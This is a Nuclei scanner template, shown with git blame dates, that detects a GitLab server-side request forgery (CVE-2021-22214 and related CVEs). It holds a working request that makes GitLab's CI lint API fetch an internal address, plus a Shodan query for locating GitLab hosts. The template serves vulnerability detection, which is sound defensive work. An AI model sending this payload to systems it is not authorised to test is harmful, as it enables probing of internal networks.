nuclei-templates/http/cves/2021/CVE-2021-22214.yaml

47 lines
1.5 KiB
YAML
Raw Normal View History

2021-06-18 09:12:13 +00:00
id: CVE-2021-22214
2022-03-04 13:50:03 +00:00
info:
name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
author: Suman_Kar,GitLab Red Team
severity: high
2022-03-04 02:04:56 +00:00
description: |
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
2022-03-04 02:04:56 +00:00
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
2022-03-04 02:04:56 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
2022-03-04 13:50:03 +00:00
cve-id: CVE-2021-22214,CVE-2021-39935,CVE-2021-22175
cwe-id: CWE-918
metadata:
shodan-query: http.title:"GitLab"
tags: cve,cve2021,gitlab,ssrf
2022-03-04 13:50:03 +00:00
http:
2022-03-04 02:04:56 +00:00
- method: POST
path:
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
2022-03-04 13:50:03 +00:00
2022-03-04 02:04:56 +00:00
headers:
Content-Type: application/json
2022-03-04 13:50:03 +00:00
body: |
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
host-redirects: true
2022-03-04 02:04:56 +00:00
max-redirects: 3
matchers:
2021-06-18 09:32:17 +00:00
- type: word
2022-03-04 02:04:56 +00:00
part: body
2021-06-18 09:32:17 +00:00
words:
- "does not have valid YAML syntax"
# Enhanced by mp on 2022/06/27